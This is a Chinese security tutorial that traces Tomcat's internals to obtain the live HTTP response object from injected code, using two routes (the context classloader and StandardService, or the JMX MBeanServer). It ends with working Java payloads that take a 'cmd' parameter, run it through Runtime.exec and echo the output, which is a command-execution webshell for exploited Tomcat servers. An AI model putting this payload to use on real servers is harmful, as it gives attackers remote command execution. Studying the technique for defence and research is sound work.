介绍

2020年3月长亭Litch1师傅找到的一种基于全局储存的新思路,寻找在Tomcat处理Filter和Servlet之前有没有存储response变量的对象。整个过程分析下来就像是在构造调用链,一环扣一环,直到找到了那个静态变量或者是那个已经创建过的对象。

优势

利用中间件来实现回显,可以跨平台通用,只要使用了相关的组件就可以达到回显的目的

实现手法

个人感觉和内存马输出的方法类似,要想控制输出,那么就要获取到response,然后对其进行定制化调用,实现内容输出

快速搭建tomcat调试环境

之前在学习EL表达式的时候,使用了IDEA一种结合本地tomcat服务器搭建环境的方法;
这次我们使用另一种内置Tomcat的方法,来方便我们调试tomcat


Tomcat实际上也是一个Java程序,我们看看Tomcat的启动流程:

  1. 启动JVM并执行Tomcat的main()方法;
  2. 加载war并初始化Servlet;
  3. 正常服务。

启动Tomcat无非就是设置好classpath并执行Tomcat某个jar包的main()方法,我们完全可以把Tomcat的jar包全部引入进来,然后自己编写一个main()方法,先启动Tomcat,然后让它加载我们的webapp就行。

创建maven项目

01.Tomcat回显链(一) - 图1

修改pom.xml

引入tomcat依赖包,修改pom.xml文件,引入依赖 tomcat-embed-coretomcat-embed-jasper,引入的 Tomcat 版本 <tomcat.version>8.5.47

tomcat-embed-core 依赖包含 javax.servlet 下的内容,因此不需要再额外引入依赖 javax.servlet-api

  1. <properties>
  2. <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  3. <maven.compiler.source>1.7</maven.compiler.source>
  4. <maven.compiler.target>1.7</maven.compiler.target>
  5. <tomcat.version>8.5.47</tomcat.version> <!-- 设定tomcat版本 -->
  6. </properties>
  7. <dependency>
  8. <groupId>org.apache.tomcat.embed</groupId>
  9. <artifactId>tomcat-embed-core</artifactId>
  10. <version>${tomcat.version}</version>
  11. <scope>provided</scope>
  12. </dependency>
  13. <dependency>
  14. <groupId>org.apache.tomcat.embed</groupId>
  15. <artifactId>tomcat-embed-jasper</artifactId>
  16. <version>${tomcat.version}</version>
  17. <scope>provided</scope>
  18. </dependency>
  19. <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper -->
  20. <dependency>
  21. <groupId>org.apache.tomcat</groupId>
  22. <artifactId>tomcat-jasper</artifactId> <!-- idea 识别不出来,要单独引入这个依赖 -->
  23. <version>${tomcat.version}</version>
  24. </dependency>
  25. <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
  26. <dependency>
  27. <groupId>org.apache.tomcat</groupId>
  28. <artifactId>tomcat-catalina</artifactId> <!-- idea 识别不出来,要单独引入这个依赖 -->
  29. <version>${tomcat.version}</version>
  30. </dependency>

创建Java代码文件夹

创建maven规范的代码存放文件夹java
01.Tomcat回显链(一) - 图2

创建启动类

TomcatMain为例,创建后启动访问http://localhost:8080/就可以看到hello world界面了

  1. import org.apache.catalina.Context;
  2. import org.apache.catalina.LifecycleException;
  3. import org.apache.catalina.WebResourceRoot;
  4. import org.apache.catalina.startup.Tomcat;
  5. import org.apache.catalina.webresources.DirResourceSet;
  6. import org.apache.catalina.webresources.StandardRoot;
  7. import java.io.File;
  8. /**
  9. * @author d4m1ts
  10. */
  11. public class TomcatMain {
  12. public static void main(String[] args) throws LifecycleException {
  13. // 启动tomcat
  14. Tomcat tomcat = new Tomcat();
  15. tomcat.setPort(8080);
  16. tomcat.getConnector();
  17. // 创建webapp
  18. // 创建上下文,后面要绝对路径
  19. Context context = tomcat.addWebapp("","/Users/d4m1ts/d4m1ts/java/TomcatEcho/src/main/webapp");
  20. WebResourceRoot resources = new StandardRoot(context);
  21. resources.addPreResources(new DirResourceSet(resources, "/WEB-INF/classes",new File("target/classes").getAbsolutePath(), "/"));
  22. context.setResources(resources);
  23. tomcat.start();
  24. tomcat.getServer().await();
  25. }
  26. }

01.Tomcat回显链(一) - 图3

创建servlet

直接在java目录上点击鼠标右键New可能没有Create New Servlet等选项来快速创建servlet-api,需要执行下列的一些操作来添加上(有的可以直接看下面创建部分):
1、将src标记成Sources文件
01.Tomcat回显链(一) - 图4
2、配置source root

[!note] 我的servlet写在src\main\java里,所以就勾选第一个。要是打算在多个文件下Create New Servlet ,那就把src的都勾上。

01.Tomcat回显链(一) - 图5


快速创建servlet:
01.Tomcat回显链(一) - 图6
编写代码:

  1. import javax.servlet.ServletException;
  2. import javax.servlet.annotation.WebServlet;
  3. import javax.servlet.http.HttpServlet;
  4. import javax.servlet.http.HttpServletRequest;
  5. import javax.servlet.http.HttpServletResponse;
  6. import java.io.IOException;
  7. import java.io.PrintWriter;
  8. @WebServlet(name = "HelloServlet", urlPatterns = "/hello")
  9. public class HelloServlet extends HttpServlet {
  10. @Override
  11. protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  12. }
  13. @Override
  14. protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  15. response.setContentType("text/html");
  16. PrintWriter writer = response.getWriter();
  17. writer.write("hello world");
  18. writer.flush();
  19. }
  20. }

01.Tomcat回显链(一) - 图7

servlet过程分析

在我们编写的servlet处下个断点,然后用浏览器访问,观察调用栈

  1. doGet:18, HelloServlet
  2. service:634, HttpServlet (javax.servlet.http)
  3. service:741, HttpServlet (javax.servlet.http)
  4. internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
  5. doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
  6. invoke:199, StandardWrapperValve (org.apache.catalina.core)
  7. invoke:96, StandardContextValve (org.apache.catalina.core)
  8. invoke:528, AuthenticatorBase (org.apache.catalina.authenticator)
  9. invoke:139, StandardHostValve (org.apache.catalina.core)
  10. invoke:81, ErrorReportValve (org.apache.catalina.valves)
  11. invoke:87, StandardEngineValve (org.apache.catalina.core)
  12. service:343, CoyoteAdapter (org.apache.catalina.connector)
  13. service:798, Http11Processor (org.apache.coyote.http11)
  14. process:66, AbstractProcessorLight (org.apache.coyote)
  15. process:810, AbstractProtocol$ConnectionHandler (org.apache.coyote)
  16. doRun:1500, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
  17. run:49, SocketProcessorBase (org.apache.tomcat.util.net)
  18. runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
  19. run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
  20. run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
  21. run:748, Thread (java.lang)

可以看到:

  • 1-3行是servlet处理过程
  • 4-5行是filter处理过程
  • 再向下就是tomcat的各种初始化过程

    [!note] 考虑到一些组件如ShiroJFinal都有全局拦截器,如果我们想要非常通用,最好是在tomcat初始化的过程中就获取到response然后定制修改; 从上面的堆栈来看,就是从>=第六行去寻找,越靠后就说明在初始化过程中越早,利用效果越好。

利用链挖掘

response获取

[!tip]

  1. 找到response对象
  2. 分析它如何初始化的(它是怎么来的)
  3. 获取到它初始化后的实例
  4. 通过它去控制输出

平时我们要拿到一个内存中的实例对象,主要有两种方法:

  1. 反射
  2. 回溯分析,应用是怎么初始化这个变量的,找关联函数、类、类变量等,再得到这个变量

分析上面的调用栈,除去后期对servletfilter的处理

  1. invoke:199, StandardWrapperValve (org.apache.catalina.core)
  2. invoke:96, StandardContextValve (org.apache.catalina.core)
  3. invoke:528, AuthenticatorBase (org.apache.catalina.authenticator)
  4. invoke:139, StandardHostValve (org.apache.catalina.core)
  5. invoke:81, ErrorReportValve (org.apache.catalina.valves)
  6. invoke:87, StandardEngineValve (org.apache.catalina.core)
  7. service:343, CoyoteAdapter (org.apache.catalina.connector)
  8. service:798, Http11Processor (org.apache.coyote.http11)
  9. process:66, AbstractProcessorLight (org.apache.coyote)
  10. process:810, AbstractProtocol$ConnectionHandler (org.apache.coyote)
  11. doRun:1500, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
  12. run:49, SocketProcessorBase (org.apache.tomcat.util.net)
  13. runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
  14. run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
  15. run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
  16. run:748, Thread (java.lang)

从下向上挨着看,发现整个调用过程中最初使用到response的就是第8行的service:798, Http11Processor (org.apache.coyote.http11)
01.Tomcat回显链(一) - 图8
说明responseresquest在这之前就已经初始化了,所以我们需要向上回溯分析
查看这个response的定义,是org.apache.coyote.AbstractProcessor抽象类中的一个变量Response response
01.Tomcat回显链(一) - 图9
跟一下这个response是如何初始化的
01.Tomcat回显链(一) - 图10
发现是AbstractProcessor类的构造函数初始化,且resquest对象中包含了response

也就是说:我们后期如果拿到了resquest,也可以通过其拿到response 注意:想要调用下面的protected构造函数,实际是需要调用上面的publuc构造函数,再通过上面的构造函数调用下面有response的构造函数

01.Tomcat回显链(一) - 图11
而在Http11Processor类中要用到这个protected修饰的response变量,大概率是继承了AbstractProcessor,去看下,很明显
01.Tomcat回显链(一) - 图12
所以我们还要找一下,responseHttp11Processor类中是如何初始化的,看一下它的构造函数,是调用了父类AbstractProcessor的构造函数
01.Tomcat回显链(一) - 图13
所以requestresponse初始化是在Http11Processor的构造函数中初始化的


所以现在思路比较明确,Http11Processor类初始化后,通过各种方法拿到request或者response实例即可,因为它们是通过protected来修饰的,所以可以通过当前类、同包和子类中来查找是否有相关的函数来获取这俩实例
01.Tomcat回显链(一) - 图14
还是查找requestresponse实例的usage
01.Tomcat回显链(一) - 图15
发现org.apache.coyote.AbstractProcessor提供了一个getRequest方法来获取request对象
01.Tomcat回显链(一) - 图16
获取到request对象后,再通过Request类提供的getResponse方法来获取response
01.Tomcat回显链(一) - 图17
最后通过responsedoWrite()方法,写进内容,返回给前端
也可以通过setHeader()方法写入到返回头中
01.Tomcat回显链(一) - 图18
所以一条response部分利用链如下:

Http11Processor继承了AbstractProcessor,所以调用Http11Processor#getRequest()就等于AbstractProcessor#getRequest()

  1. Http11Processor#getRequest() ->
  2. AbstractProcessor#getRequest() ->
  3. Request#getResponse() ->
  4. Response#doWrite()

Http11Processor类相关

前面挖掘部分说了,获取了Http11Processor实例后,就可以获取request,也就可以获取response,我们的目的也达成了,但是如何来获取**Http11Processor**实例或者**Http11Processor request、response**的变量
继续向前分析,看什么时候出现了Http11Processor类的实例;发现是在org.apache.coyote.AbstractProtocol.ConnectionHandler#process这个函数中,初始化是通过connections.get(socket)来赋值
01.Tomcat回显链(一) - 图19
但722行这个时候获取的processor值为null,因为connections值为空,在806行的时候才添加内容到connections
01.Tomcat回显链(一) - 图20
所以我们重新下个断点分析一下processor是如何赋值的,可以看到connections722行初始化的时候长度是0,processor这个时候也是null,这也验证了我们上面说的
01.Tomcat回显链(一) - 图21
一直往后跟,在798行的时候会对processor进行赋值,调用this.getProtocol().createProcessor();来获得的
01.Tomcat回显链(一) - 图22
赋值后会进入register函数对processor进行一些处理,重点也在这
跟进注册函数,发现变量rp是RequestInfo类,而通过RequestInfo类我们可以获取到request,后续也就可以获取到response

  1. rp.req.getResponse()

01.Tomcat回显链(一) - 图23
所以这里我们可以着重关注一下,如何获取RequestInfo对象rp,从后面的内容可以看出来,主要有2个地方:

  1. 第一处会通过rp.setGlobalProcessor(global)设置到global中,具体可以看代码
  2. 第二处会通过Registry.getRegistry(null, null).registerComponent(rp,rpName, null);注册到其他地方

01.Tomcat回显链(一) - 图24
所以想要构造链,主要有两种方法:

  1. 寻找获取global的方法
  2. 跟踪Registry.registerComponent()流程,查看具体的RequestInfo对象被注册到什么地方了

    获取global

    先放下整条链的结果: Thread.currentThread().getContextClassLoader()->resources->context->context->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

global变量是AbstractProtocol静态内部类ConnectionHandler的成员变量;不是static静态变量,因此我们还需要找存储AbstractProtocol类或AbstractProtocol子类。现在的利用链为

  1. AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response

分析继承关系,发现它有子类Http11NioProtocol,所以如果我们获取到这个类,那么也能获取到global
01.Tomcat回显链(一) - 图25

[!note] Tomcat初始化StandardService时,会启动ContainerExecutormapperListener及所有的Connector。其中Executor负责为Connector处理请求提供共用的线程池,mapperListener负责将请求映射到对应的容器中,Connector负责接收和解析请求。所以对于单个请求来说,其相关的信息及调用关系都保存在Connector对象中

分析调用栈,发现存在这个类,org.apache.catalina.connector.CoyoteAdapter#connectorprotocolHandler属性值类就是Http11NioProtocol
01.Tomcat回显链(一) - 图26

  1. ((AbstractProtocol.ConnectionHandler) ((Http11NioProtocol) connector.protocolHandler).handler).global.processors.get(0).req.getResponse()

所以现在的思路是如何获取到这个connector,新的利用链

  1. connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response

Litch1师傅分析出在Tomcat启动过程中会创建connector对象,并通过org.apache.catalina.core.StandardService#addConnector存放在connectors
01.Tomcat回显链(一) - 图27
然后通过org.apache.catalina.core.StandardService#initInternal进行初始化
01.Tomcat回显链(一) - 图28
因为先添加了再初始化,所以这个时要获取connectors,可以通过org.apache.catalina.core.StandardService来获取
所以利用链

  1. StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response

所以最后就是如何获得StandardService了,这里利用的是tomcat放弃了双亲委派模型的思路

[!note] 双亲委派机制的缺点:当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。 Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。

通过Thread.currentThread().getContextClassLoader()来获取当前线程的ClassLoader,再从resources->context->context当中寻找即可。
01.Tomcat回显链(一) - 图29
所以最终的手法

  1. Thread.currentThread().getContextClassLoader()->resources->context->context->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

global链路代码

[!note] 尽可能的找到能够直接通过函数获取到想要的数据,实在不行再使用反射

1、获取StandardContext

  1. org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
  2. StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

Thread.currentThread().getContextClassLoader().getClass()的值为org.apache.catalina.loader.ParallelWebappClassLoader,它继承了WebappClassLoaderBase,而resources变量是WebappClassLoaderBase类中的,所以这里如果也想使用反射的话,需要如下:

  1. // 获取 StandardContext
  2. ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
  3. Field resources = org.apache.catalina.loader.WebappClassLoaderBase.class.getDeclaredField("resources");
  4. resources.setAccessible(true);
  5. org.apache.catalina.webresources.StandardRoot standardRoot = (StandardRoot) resources.get(contextClassLoader);
  6. StandardContext standardContext = (StandardContext) standardRoot.getContext();

2、获取StandardContext中的context

  1. Field context = standardContext.getClass().getDeclaredField("context");
  2. context.setAccessible(true);
  3. org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);

01.Tomcat回显链(一) - 图30
3、获取context中的service

  1. Field service = applicationContext.getClass().getDeclaredField("service");
  2. service.setAccessible(true);
  3. org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);

4、获取service中的connectors

  1. Field connectors = standardService.getClass().getDeclaredField("connectors");
  2. connectors.setAccessible(true);
  3. org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);

5、反射获取 AbstractProtocol$ConnectoinHandler 实例

  1. ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
  2. Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
  3. handler.setAccessible(true);
  4. org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);

6、反射获取global内部的processors

  1. org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
  2. Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
  3. processors.setAccessible(true);
  4. ArrayList<org.apache.coyote.RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);

7、获取response输出内容

  1. Field req = RequestInfo.class.getDeclaredField("req");
  2. req.setAccessible(true);
  3. for (org.apache.coyote.RequestInfo requestInfo : processors1) {
  4. org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
  5. // 转换为 org.apache.catalina.connector.Request 类型
  6. org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
  7. org.apache.catalina.connector.Response response1 = request2.getResponse();
  8. PrintWriter writer = response1.getWriter();
  9. writer.write("tomcat echo");
  10. writer.flush();
  11. }

代码汇总:

  1. // 获取 StandardContext
  2. org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
  3. StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
  4. try {
  5. // 反射获取StandardContext中的context
  6. Field context = standardContext.getClass().getDeclaredField("context");
  7. context.setAccessible(true);
  8. org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);
  9. // 反射获取context中的service
  10. Field service = applicationContext.getClass().getDeclaredField("service");
  11. service.setAccessible(true);
  12. org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);
  13. // 反射获取service中的connectors
  14. Field connectors = standardService.getClass().getDeclaredField("connectors");
  15. connectors.setAccessible(true);
  16. org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);
  17. // 反射获取 AbstractProtocol$ConnectoinHandler 实例
  18. ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
  19. Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
  20. handler.setAccessible(true);
  21. org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);
  22. // 反射获取global内部的processors
  23. org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
  24. Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
  25. processors.setAccessible(true);
  26. ArrayList<org.apache.coyote.RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);
  27. // 获取response修改数据
  28. // 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次
  29. Field req = RequestInfo.class.getDeclaredField("req");
  30. req.setAccessible(true);
  31. for (org.apache.coyote.RequestInfo requestInfo : processors1) {
  32. org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
  33. // 转换为 org.apache.catalina.connector.Request 类型
  34. org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
  35. org.apache.catalina.connector.Response response1 = request2.getResponse();
  36. // 获取参数
  37. PrintWriter writer = response1.getWriter();
  38. String cmd = request2.getParameter("cmd");
  39. if (cmd != null) {
  40. Process exec = Runtime.getRuntime().exec(cmd);
  41. InputStream inputStream = exec.getInputStream();
  42. DataInputStream dataInputStream = new DataInputStream(inputStream);
  43. String disr = dataInputStream.readLine();
  44. while ( disr != null ) {
  45. writer.write(disr);
  46. disr = dataInputStream.readLine();
  47. }
  48. }
  49. writer.flush();
  50. }
  51. } catch (IllegalAccessException illegalAccessException) {
  52. illegalAccessException.printStackTrace();
  53. } catch (NoSuchFieldException noSuchFieldException) {
  54. noSuchFieldException.printStackTrace();
  55. }

效果
01.Tomcat回显链(一) - 图31

跟踪Registry.registerComponent()

跟进org.apache.tomcat.util.modeler.Registry#registerComponent(java.lang.Object, javax.management.ObjectName, java.lang.String)这个函数,发现会给RequestInfo对象注册到MBeanServer
oname的值为Tomcat:name=HttpRequest1,type=RequestProcessor,worker="http-nio-8080"
01.Tomcat回显链(一) - 图32
所以如果能通过MBeanServer来获取到相关的信息,会更加的方便直接
分析一下,通过Registry#getMBeanServer()函数能够直接获取到MBeanServer实例
01.Tomcat回显链(一) - 图33
所以现在问题是怎么拿到org.apache.tomcat.util.modeler.Registry这个类的实例,我们还是分析一下应用是怎么拿到的,然后模拟一下即可
它是直接使用Registry.getRegistry(null, null)来获取的
01.Tomcat回显链(一) - 图34
所以我们也模拟一下这个过程,整个过程中变量.getClass是什么类我们就给他转换为什么类即可

jmxMBeanServer.mbsInterceptor.getClass()的类是com.sun.jmx.interceptor.DefaultMBeanServerInterceptor,我们就给他转换过去即可 老实说MBeanServerRequestInfo的过程还是有点难找,不知道有没有啥快的办法,还是大佬们牛逼

  1. com.sun.jmx.mbeanserver.JmxMBeanServer jmxMBeanServer = (com.sun.jmx.mbeanserver.JmxMBeanServer) org.apache.tomcat.util.modeler.Registry.getRegistry(null, null).getMBeanServer();
  2. com.sun.jmx.interceptor.DefaultMBeanServerInterceptor defaultMBeanServerInterceptor = (DefaultMBeanServerInterceptor) jmxMBeanServer.mbsInterceptor;
  3. com.sun.jmx.mbeanserver.Repository repository = defaultMBeanServerInterceptor.repository;
  4. repository.query(new ObjectName("*:type=GlobalRequestProcessor,name=\"http*\""), null);

01.Tomcat回显链(一) - 图35
这里由于测试的关系只存在一个对象,在具体构造时可以直接遍历所有符合条件的情况。有了RequestInfo,那我们就可以拿到response完成回显了
利用链:

  1. jmxMBeanServer->resource(和上面的global一样)->->processors->RequestInfo->req->response

MBeanServer链路代码

这个比上面的要简单一些,可以尝试自己多写写

  1. try {
  2. com.sun.jmx.mbeanserver.JmxMBeanServer jmxMBeanServer = (com.sun.jmx.mbeanserver.JmxMBeanServer) org.apache.tomcat.util.modeler.Registry.getRegistry(null, null).getMBeanServer();
  3. Field mbsInterceptor = com.sun.jmx.mbeanserver.JmxMBeanServer.class.getDeclaredField("mbsInterceptor");
  4. mbsInterceptor.setAccessible(true);
  5. com.sun.jmx.interceptor.DefaultMBeanServerInterceptor defaultMBeanServerInterceptor = (DefaultMBeanServerInterceptor) mbsInterceptor.get(jmxMBeanServer);
  6. Field repository = defaultMBeanServerInterceptor.getClass().getDeclaredField("repository");
  7. repository.setAccessible(true);
  8. com.sun.jmx.mbeanserver.Repository repository1 = (Repository) repository.get(defaultMBeanServerInterceptor);
  9. HashSet<com.sun.jmx.mbeanserver.NamedObject> hashSet = (HashSet<com.sun.jmx.mbeanserver.NamedObject>) repository1.query(new javax.management.ObjectName("*:type=GlobalRequestProcessor,name=\"http*\""), null);
  10. for (com.sun.jmx.mbeanserver.NamedObject namedObject : hashSet ) {
  11. Field object = namedObject.getClass().getDeclaredField("object");
  12. object.setAccessible(true);
  13. org.apache.tomcat.util.modeler.BaseModelMBean baseModelMBean = (BaseModelMBean) object.get(namedObject);
  14. Field resource = baseModelMBean.getClass().getDeclaredField("resource");
  15. resource.setAccessible(true);
  16. org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) resource.get(baseModelMBean);
  17. Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
  18. processors.setAccessible(true);
  19. ArrayList<org.apache.coyote.RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);
  20. // 获取response修改数据
  21. // 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次
  22. Field req = RequestInfo.class.getDeclaredField("req");
  23. req.setAccessible(true);
  24. for (org.apache.coyote.RequestInfo requestInfo : processors1) {
  25. org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
  26. // 转换为 org.apache.catalina.connector.Request 类型
  27. org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
  28. org.apache.catalina.connector.Response response1 = request2.getResponse();
  29. // 获取参数
  30. PrintWriter writer = response1.getWriter();
  31. String cmd = request2.getParameter("cmd");
  32. if (cmd != null) {
  33. Process exec = Runtime.getRuntime().exec(cmd);
  34. InputStream inputStream = exec.getInputStream();
  35. DataInputStream dataInputStream = new DataInputStream(inputStream);
  36. String disr = dataInputStream.readLine();
  37. while (disr != null) {
  38. writer.write(disr);
  39. disr = dataInputStream.readLine();
  40. }
  41. }
  42. writer.flush();
  43. }
  44. }
  45. } catch (NoSuchFieldException | IllegalAccessException | MalformedObjectNameException e) {
  46. e.printStackTrace();
  47. }

效果:
01.Tomcat回显链(一) - 图36

总结

  1. 最后代码实现过程还是比较简单,主要还是分析过程找到一条可利用的链
  2. 平时我们要拿到一个内存中的实例对象,主要有两种方法:
    1. 反射
    2. 向上回溯分析,应用是怎么初始化这个实例的,找关联函数、类、类变量等,再得到这个实例
  3. 向上一直回溯到可以通过一些方法获取到内存中的实例为止,如Registry.getRegistry(null, null).getMBeanServer(),相当于找到整条链的头
  4. 编写代码过程中不知道返回的对象是哪一个类的,可以通过debug调试看到,然后再进行类型转换

    [!WARNING|style:flat] 如有错误,敬请指正

参考